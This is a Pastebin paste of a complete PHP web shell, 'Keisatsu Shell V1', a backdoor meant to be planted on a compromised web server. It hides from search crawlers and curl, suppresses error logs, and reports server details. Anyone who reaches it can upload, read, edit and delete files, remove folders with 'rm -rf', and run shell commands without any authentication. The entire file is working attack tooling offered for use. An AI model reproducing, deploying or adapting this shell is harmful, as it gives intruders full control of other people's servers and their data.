Advertisement
imamkun09

kit

Mar 29th, 2020
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.42 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. @clearstatcache();
  5. @ini_set('error_log',NULL);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. if (version_compare(PHP_VERSION, '7', '<')) {
  11.     @set_magic_quotes_runtime(0);
  12. }
  13.  
  14. $SERVERIP  = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
  15.  
  16. $FILEPATH  = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
  17. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  18.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
  19.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  20.         header('HTTP/1.0 404 Not Found');
  21.         exit;
  22.     }
  23. }
  24.  
  25. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  26.     //@ob_clean();
  27.     $file = $_GET['file'];
  28.     if(file_exists($file)) {
  29.       header('Content-Description: File Transfer');
  30.       header('Content-Type: application/octet-stream');
  31.       header('Content-Disposition: attachment; filename='.basename($file));
  32.       header('Content-Transfer-Encoding: binary');
  33.       header('Expires: 0');
  34.       header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  35.       header('Pragma: public');
  36.       header('Content-Length: ' . filesize($file));
  37.       ob_clean();
  38.       flush();
  39.       readfile($file);
  40.       exit;
  41.     }else {
  42.           die('The provided file path is not valid.');
  43.     }
  44. }
  45.  
  46. if($_POST['upload']){
  47.   if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
  48.         $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
  49.     }
  50.     else {
  51.         $act = color(1, 1, "Failed to upload file!");
  52.     }
  53. }
  54.  
  55. ?>
  56.  
  57. <!DOCTYPE html>
  58. <html>
  59.   <head>
  60.     <meta charset="utf-8">
  61.     <title>Keisatsu Shell V1</title>
  62.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.99.0/css/materialize.min.css">
  63.     <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  64.  
  65.     <style>
  66.       #content{
  67.         margin: 20px;
  68.       }
  69.  
  70.       textarea{
  71.         overflow-y: scroll;
  72.         height: 300px;
  73.       }
  74.  
  75.     </style>
  76.  
  77.   </head>
  78.   <body class="grey lighten-2">
  79.     <ul id="dropdown1" class="dropdown-content">
  80.       <li><a href="#!">Reverse</a></li>
  81.       <li><a href="#!">Port Hoax</a></li>
  82.       <li><a href="#!">Jumping</a></li>
  83.     </ul>
  84.     <nav>
  85.       <div class="nav-wrapper teal darken-3">
  86.         <a href="#" class="brand-logo">Keisatsu_Shell</a>
  87.         <ul id="nav-mobile" class="right hide-on-med-and-down">
  88.           <li><a href="?">Home</a></li>
  89.           <li><a href="?act=cmd&#38;dir=<?php print path(); ?>">Cmd</a></li>
  90.           <li>
  91.             <a class="dropdown-button" href="#!" data-activates="dropdown1">Tools<i class="material-icons right">arrow_drop_down</i></a>
  92.           </li>
  93.         </ul>
  94.       </div>
  95.     </nav>
  96.  
  97.     <div class="row">
  98.       <div class="col s12">
  99.           <div id="content" class="card white">
  100.             <div class="card-content black-text">
  101.               <span class="card-title"><b>Server Info</b></span>
  102.               <div class="row">
  103.                 <div class="col s6">
  104.                   <?php serverinfo1(); ?>
  105.                 </div>
  106.                 <div class="col s6">
  107.                   <?php serverinfo2(); ?>
  108.  
  109.                 </div>
  110.               </div>
  111.  
  112.               <div class="row">
  113.                 <form class="" action="" method="post" enctype="multipart/form-data">
  114.                   <div class="col s6">
  115.                     <p><b>Upload File:</b></p>
  116.                     <div class="file-field input-field">
  117.                       <div class="btn">
  118.                         <span>File</span>
  119.                         <input type="file" name="file">
  120.                       </div>
  121.                       <div class="file-path-wrapper">
  122.                         <input class="file-path validate" type="text">
  123.                       </div>
  124.                     </div>
  125.                     <?php if($_POST['upload']) echo $act; ?>
  126.                   </div>
  127.                   <div class="col s6">
  128.                     <p><b>Options:</b></p><br>
  129.                     <input type="submit" name="upload" value="Upload" class="waves-effect waves-light btn"> :::
  130.                     <a href="?act=newfile<?php if(isset($_GET['dir'])) print '&#38dir=' . path(); ?>" class="waves-effect waves-light btn">New File</a>
  131.                     <a href="?act=newfolder<?php if(isset($_GET['dir'])) print '&#38dir=' . path(); ?>" class="waves-effect waves-light btn">New Folder</a>
  132.                   </div>
  133.                 </form>
  134.             </div><hr>
  135.             <?php content(); ?>
  136.             <hr>
  137.             <p>Keisatsu_Shell ~ Thanks to IndoXploit</p>
  138.           </div>
  139.         </div>
  140.     </div>
  141.  
  142.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
  143.     <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.99.0/js/materialize.min.js"></script>
  144.   </body>
  145. </html>
  146.  
  147. <?php
  148.  
  149. function serverinfo1() {
  150.   $output[] = "Server IP ".color(1, 2, $GLOBALS['SERVERIP'])." / Your IP ".color(1, 2, $_SERVER['REMOTE_ADDR']);
  151.   $output[] = "Web Server  : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
  152.   $output[] = "System      : ".color(1, 2, php_uname());
  153.   $output[] = "User / Group: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
  154.     $output[] = "HDD         : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
  155.   $output[] = "PHP Ver : ".color(1, 2, @phpversion());
  156.  
  157.   print implode("<br>", $output);
  158. }
  159.  
  160. function serverinfo2(){
  161.   $disable_functions = @ini_get('disable_functions');
  162.   $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
  163.   $output[] = "Safe Mode   : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
  164.   $output[] = "Disable Func: $disable_functions";
  165.   $output[] = lib_installed();
  166.   $output[] = "Current Dir: (".writeable(path(), perms(path())).") ";
  167.   print implode("<br>", $output);
  168.   pwd();
  169. }
  170.  
  171. function color($bold = 1, $colorid = null, $string = null) {
  172.     $color = array(
  173.       "</span>",            # 0 off
  174.       "<span class='red-text'>",    # 1 red
  175.       "<span class='green-text'>",  # 2 lime
  176.       "<span class='white-text'>",  # 3 white
  177.       "<span class='gold-text'>",   # 4 gold
  178.    );
  179.   return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[0];
  180. }
  181.  
  182. function usergroup() {
  183.     if(!function_exists('posix_getegid')) {
  184.         $user['name']   = @get_current_user();
  185.         $user['uid']    = @getmyuid();
  186.         $user['gid']    = @getmygid();
  187.         $user['group']  = "?";
  188.     } else {
  189.         $user['uid']    = @posix_getpwuid(posix_geteuid());
  190.         $user['gid']    = @posix_getgrgid(posix_getegid());
  191.         $user['name']   = $user['uid']['name'];
  192.         $user['uid']    = $user['uid']['uid'];
  193.         $user['group']  = $user['gid']['name'];
  194.         $user['gid']    = $user['gid']['gid'];
  195.     }
  196.     return (object) $user;
  197. }
  198.  
  199. function perms($path) {
  200.     $perms = fileperms($path);
  201.     if (($perms & 0xC000) == 0xC000) {
  202.         // Socket
  203.         $info = 's';
  204.     }
  205.     elseif (($perms & 0xA000) == 0xA000) {
  206.         // Symbolic Link
  207.         $info = 'l';
  208.     }
  209.     elseif (($perms & 0x8000) == 0x8000) {
  210.         // Regular
  211.         $info = '-';
  212.     }
  213.     elseif (($perms & 0x6000) == 0x6000) {
  214.         // Block special
  215.         $info = 'b';
  216.     }
  217.     elseif (($perms & 0x4000) == 0x4000) {
  218.         // Directory
  219.         $info = 'd';
  220.     }
  221.     elseif (($perms & 0x2000) == 0x2000) {
  222.         // Character special
  223.         $info = 'c';
  224.     }
  225.     elseif (($perms & 0x1000) == 0x1000) {
  226.         // FIFO pipe
  227.         $info = 'p';
  228.     }
  229.     else {
  230.         // Unknown
  231.         $info = 'u';
  232.     }
  233.         // Owner
  234.     $info .= (($perms & 0x0100) ? 'r' : '-');
  235.     $info .= (($perms & 0x0080) ? 'w' : '-');
  236.     $info .= (($perms & 0x0040) ?
  237.     (($perms & 0x0800) ? 's' : 'x' ) :
  238.     (($perms & 0x0800) ? 'S' : '-'));
  239.     // Group
  240.     $info .= (($perms & 0x0020) ? 'r' : '-');
  241.     $info .= (($perms & 0x0010) ? 'w' : '-');
  242.     $info .= (($perms & 0x0008) ?
  243.     (($perms & 0x0400) ? 's' : 'x' ) :
  244.     (($perms & 0x0400) ? 'S' : '-'));
  245.     // World
  246.     $info .= (($perms & 0x0004) ? 'r' : '-');
  247.     $info .= (($perms & 0x0002) ? 'w' : '-');
  248.     $info .= (($perms & 0x0001) ?
  249.     (($perms & 0x0200) ? 't' : 'x' ) :
  250.     (($perms & 0x0200) ? 'T' : '-'));
  251.     return $info;
  252. }
  253.  
  254. function exe($cmd) {
  255.     if(function_exists('system')) {
  256.         @ob_start();
  257.         @system($cmd);
  258.         $buff = @ob_get_contents();
  259.         @ob_end_clean();
  260.         return $buff;
  261.     } elseif(function_exists('exec')) {
  262.         @exec($cmd,$results);
  263.         $buff = "";
  264.         foreach($results as $result) {
  265.             $buff .= $result;
  266.         } return $buff;
  267.     } elseif(function_exists('passthru')) {
  268.         @ob_start();
  269.         @passthru($cmd);
  270.         $buff = @ob_get_contents();
  271.         @ob_end_clean();
  272.         return $buff;
  273.     } elseif(function_exists('shell_exec')) {
  274.         $buff = @shell_exec($cmd);
  275.         return $buff;
  276.     }
  277. }
  278.  
  279. function lib_installed() {
  280.     $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  281.     $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  282.     $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  283.     $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  284.     $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  285.     return implode(" | ", $lib);
  286. }
  287.  
  288. function OS() {
  289.     return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
  290. }
  291.  
  292. function path() {
  293.     if(isset($_GET['dir'])) {
  294.         $dir = str_replace("\\", "/", $_GET['dir']);
  295.         @chdir($dir);
  296.     } else {
  297.         $dir = str_replace("\\", "/", getcwd());
  298.     }
  299.     return $dir;
  300. }
  301.  
  302. function disk(){
  303.   $dir = explode("/", path());
  304.   return $dir[0];
  305. }
  306.  
  307. function pwd() {
  308.     $dir = explode("/", path());
  309.     foreach($dir as $key => $index) {
  310.         print "<a href='?dir=";
  311.         for($i = 0; $i <= $key; $i++) {
  312.             print $dir[$i];
  313.             if($i != $key) {
  314.             print "/";
  315.             }
  316.         }
  317.         print "'>$index</a>/";
  318.     }
  319.     print "<br>";
  320.     print (OS() === "Windows") ? windisk() : "";
  321. }
  322.  
  323. function windisk() {
  324.     $letters = "";
  325.     $v = explode("\\", path());
  326.     $v = $v[0];
  327.      foreach(range("A", "Z") as $letter) {
  328.         $bool = $isdiskette = in_array($letter, array("A"));
  329.         if(!$bool) $bool = is_dir("$letter:\\");
  330.         if($bool) {
  331.             $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
  332.             if($letter.":" != $v) {
  333.                 $letters .= $letter;
  334.             }
  335.             else {
  336.                 $letters .= color(1, 2, $letter);
  337.             }
  338.             $letters .= "</a> ]";
  339.         }
  340.     }
  341.     if(!empty($letters)) {
  342.         print "Detected Drives $letters<br>";
  343.     }
  344. }
  345.  
  346. function writeable($path, $perms) {
  347.     return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
  348. }
  349.  
  350. function hddsize($size) {
  351.     if($size >= 1073741824)
  352.         return sprintf('%1.2f',$size / 1073741824 ).' GB';
  353.     elseif($size >= 1048576)
  354.         return sprintf('%1.2f',$size / 1048576 ) .' MB';
  355.     elseif($size >= 1024)
  356.         return sprintf('%1.2f',$size / 1024 ) .' KB';
  357.     else
  358.         return $size .' B';
  359. }
  360.  
  361. function hdd() {
  362.   if(OS() === "Windows"){
  363.     $hdd['size'] = hddsize(disk_total_space(disk()));
  364.     $hdd['free'] = hddsize(disk_free_space(disk()));
  365.     $hdd['used'] = $hdd['size'] - $hdd['free'];
  366.   }else{
  367.     $hdd['size'] = hddsize(disk_total_space("/"));
  368.     $hdd['free'] = hddsize(disk_free_space("/"));
  369.     $hdd['used'] = $hdd['size'] - $hdd['free'];
  370.   }
  371.     return (object) $hdd;
  372. }
  373.  
  374. function indexing(){
  375.   if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
  376.     if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
  377.  
  378.   print '<table width="100%" class="table_home striped" border="0" cellpadding="3" cellspacing="1" align="center">
  379.      <thead>
  380.            <tr>
  381.            <th class="th_home"><center>Name</center></th>
  382.            <th class="th_home"><center>Type</center></th>
  383.            <th class="th_home"><center>Size</center></th>
  384.            <th class="th_home"><center>Last Modified</center></th>
  385.            <th class="th_home"><center>Owner/Group</center></th>
  386.            <th class="th_home"><center>Permission</center></th>
  387.            <th class="th_home"><center>Action</center></th>
  388.            </tr>
  389.      </thead>';
  390.  
  391.   if(function_exists('opendir')) {
  392.         if($opendir = opendir(path())) {
  393.             while(($readdir = readdir($opendir)) !== false) {
  394.                 $dir[] = $readdir;
  395.             }
  396.             closedir($opendir);
  397.         }
  398.         sort($dir);
  399.     } else {
  400.         $dir = scandir(path());
  401.     }
  402.  
  403.   foreach($dir as $folder) {
  404.         $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
  405.         if(!is_dir($dirinfo['path'])) continue;
  406.         $dirinfo['type']  = filetype($dirinfo['path']);
  407.         $dirinfo['time']  = date("F d Y g:i:s", filemtime($dirinfo['path']));
  408.         $dirinfo['size']  = "-";
  409.         $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
  410.         $dirinfo['link']  = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ?  "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>"));
  411.         $dirinfo['action']= ($folder === '.' || $folder === '..') ? "-" : "<a href='?act=rename_folder&dir=".$dirinfo['path']."'><i class='small material-icons'>class</i></a>  <a href='?act=delete_folder&dir=".$dirinfo['path']."'><i class='small material-icons'>delete</i></a>";
  412.         if(function_exists('posix_getpwuid')) {
  413.             $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
  414.             $dirinfo['owner'] = $dirinfo['owner']->name;
  415.         } else {
  416.             $dirinfo['owner'] = fileowner($dirinfo['path']);
  417.         }
  418.         if(function_exists('posix_getgrgid')) {
  419.             $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
  420.             $dirinfo['group'] = $dirinfo['group']->name;
  421.         } else {
  422.             $dirinfo['group'] = filegroup($dirinfo['path']);
  423.         }
  424.         print "<tr>";
  425.         print "<td class='td_home'><i class='tiny material-icons amber-text'>perm_media</i> ".$dirinfo['link']."</td>";
  426.         print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>";
  427.         print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>";
  428.         print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>";
  429.         print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>";
  430.         print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>";
  431.         print "<td class='td_home' style='padding-left: 15px;'><center>".$dirinfo['action']."</center></td>";
  432.         print "</tr>";
  433.     }
  434.     foreach($dir as $files) {
  435.         $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
  436.         if(!is_file($fileinfo['path'])) continue;
  437.         $fileinfo['type'] = filetype($fileinfo['path']);
  438.         $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
  439.         $fileinfo['size'] = filesize($fileinfo['path'])/1024;
  440.         $fileinfo['size'] = round($fileinfo['size'],3);
  441.         $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB";
  442.         $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path']));
  443.         if(function_exists('posix_getpwuid')) {
  444.             $fileinfo['owner'] =  (object) @posix_getpwuid(fileowner($fileinfo['path']));
  445.             $fileinfo['owner'] = $fileinfo['owner']->name;
  446.         } else {
  447.             $fileinfo['owner'] = fileowner($fileinfo['path']);
  448.         }
  449.         if(function_exists('posix_getgrgid')) {
  450.             $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
  451.             $fileinfo['group'] = $fileinfo['group']->name;
  452.         } else {
  453.             $fileinfo['group'] = filegroup($fileinfo['path']);
  454.         }
  455.         print "<tr>";
  456.         print "<td class='td_home'><i class='tiny material-icons red-text'>description</i> <a href='?act=view&dir=".path()."&file=".$fileinfo['path']."'>$files</a></td>";
  457.         print "<td class='td_home' style='text-align: center;'>".$fileinfo['type']."</td>";
  458.         print "<td class='td_home' style='text-align: center;'>".$fileinfo['size']."</td>";
  459.         print "<td class='td_home' style='text-align: center;'>".$fileinfo['time']."</td>";
  460.         print "<td class='td_home' style='text-align: center;'>".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."</td>";
  461.         print "<td class='td_home' style='text-align: center;'>".$fileinfo['perms']."</td>";
  462.         print "<td class='td_home' style='padding-left: 15px;'><center><a href='?act=edit&dir=".path()."&file=".$fileinfo['path']."'><i class='small material-icons'>mode_edit</i></a>  <a href='?act=rename&dir=".path()."&file=".$fileinfo['path']."'><i class='small material-icons'>class</i></a>  <a href='?act=delete&dir=".path()."&file=".$fileinfo['path']."'><i class='small material-icons'>delete</i></a>  <a href='?act=download&dir=".path()."&file=".$fileinfo['path']."'><i class='small material-icons'>play_for_work</i></a></center></td>";
  463.         print "</tr>";
  464.     }
  465.  
  466. print '</table>';
  467. }
  468.  
  469.     function content(){
  470.       if(isset($_GET['do'])) {
  471.             if($_GET['do'] === "cmd") {
  472.           if(isset($_POST['cmd'])) {
  473.             print "<pre>".exe($_POST['cmd'])."</pre>";
  474.           }
  475.         }
  476.       }elseif(isset($_GET['act'])){
  477.         if($_GET['act'] === 'newfile') {
  478.                 if($_POST['save']) {
  479.                     $filename = htmlspecialchars($_POST['filename']);
  480.                     $fopen    = fopen($filename, "w+");
  481.                     if($fopen) {
  482.               fwrite($fopen, $_POST['content']);
  483.                         $act = color(1, 2, "Success!") . " - <a href='?dir=" . path() . "'>Back</a>";
  484.                     }
  485.                     else {
  486.                         $act = color(1, 1, "Permission Denied!");
  487.                     }
  488.                 }
  489.                 print $act;
  490.           if(!$_POST['save']){
  491.                 print "<form method='post'>
  492.                 <b>Filename:</b> <input type='text' name='filename' value='".path()."/newfile.php' style='width: 450px;' height='10'><br>
  493.            <b>Content:</b>
  494.            <textarea id='textarea1' class='materialize-textarea' name='content'></textarea>
  495.                 <input class='btn' type='submit' class='input' name='save' value='SUBMIT'>
  496.                 </form>";
  497.           }
  498.             }
  499.         elseif($_GET['act'] === 'newfolder') {
  500.                 if($_POST['save']) {
  501.                     $foldername = path().'/'.htmlspecialchars($_POST['foldername']);
  502.                     if(!@mkdir($foldername)) {
  503.                         $act = color(1, 1, "Permission Denied!");
  504.                     }
  505.                     else {
  506.                         $act = "<script>window.location='?dir=".path()."';</script>";
  507.                     }
  508.                 }
  509.                 print $act;
  510.                 print "<form method='post'>
  511.                 Folder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>
  512.                 <input type='submit' class='input btn' name='save' value='SUBMIT'>
  513.                 </form>";
  514.         }elseif($_GET['act'] === 'edit') {
  515.                 if($_POST['save']) {
  516.                     $save = file_put_contents($_GET['file'], $_POST['src']);
  517.                     if($save) {
  518.                         $act = color(1, 2, "File Saved!");
  519.                     }
  520.                     else {
  521.                         $act = color(1, 1, "Permission Denied!");
  522.                     }
  523.                     print "$act<br>";
  524.                 }
  525.                 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  526.                 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  527.                 print "<form method='post'>
  528.                 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  529.                 <input type='submit' class='input btn' value='SAVE' name='save'>
  530.                 </form>";
  531.         }elseif($_GET['act'] === 'view') {
  532.                 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  533.                 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  534.                 print "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  535.             }elseif($_GET['act'] === 'rename') {
  536.                 if($_POST['save']) {
  537.                     $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename']));
  538.                     if($rename) {
  539.                         $act = "<script>window.location='?dir=".path()."';</script>";
  540.                     }
  541.                     else {
  542.                         $act = color(1, 1, "Permission Denied!");
  543.                     }
  544.                     print "$act<br>";
  545.                 }
  546.                 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
  547.                 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
  548.                 print "<form method='post'>
  549.                 <input type='text' value='".basename($_GET['file'])."' name='filename' style='width: 450px;' height='10'>
  550.                 <input type='submit' class='input btn' name='save' value='RENAME'>
  551.                 </form>";
  552.             }elseif($_GET['act'] === 'rename_folder') {
  553.                 if($_POST['save']) {
  554.                     $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername']));
  555.                     if($rename_folder) {
  556.                         $act = "<script>window.location='?dir=".dirname(path())."';</script>";
  557.                     }
  558.                     else {
  559.                         $act = color(1, 1, "Permission Denied!");
  560.                     }
  561.                 print "$act<br>";
  562.                 }
  563.                 print "<form method='post'>
  564.          <b>Folder Name: </b>
  565.                 <input type='text' value='".basename(path())."' name='foldername' style='width: 450px;' height='10'>
  566.                 <input type='submit' class='input btn' name='save' value='RENAME'>
  567.                 </form>";
  568.             }elseif($_GET['act'] === 'delete') {
  569.                 $delete = unlink($_GET['file']);
  570.                 if($delete) {
  571.                     $act = "<script>window.location='?dir=".path()."';</script>";
  572.                 }
  573.                 else {
  574.                     $act = color(1, 1, "Permission Denied!");
  575.                 }
  576.                 print $act;
  577.             }elseif($_GET['act'] === 'delete_folder') {
  578.                 if(is_dir(path())) {
  579.                     if(is_writable(path())) {
  580.                         @rmdir(path());
  581.                         if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());
  582.                         if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());
  583.                         $act = "<script>window.location='?dir=".dirname(path())."';</script>";
  584.                     }
  585.                     else {
  586.                         $act = color(1, 1, "Could not remove directory '".basename(path())."'");
  587.                     }
  588.                 }
  589.                 print $act;
  590.             } elseif($_GET['act'] == 'cmd'){
  591.           print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
  592.               ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
  593.               <input type='text' name='cmd' style='width: 450px;' height='10' required>
  594.               <input style='border: none; border-bottom: 1px solid #ffffff;' class='input btn' type='submit' value='Execute'>
  595.                 </form>";
  596.         }
  597.       }else{
  598.         indexing();
  599.       }
  600.     }
  601.  
  602. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement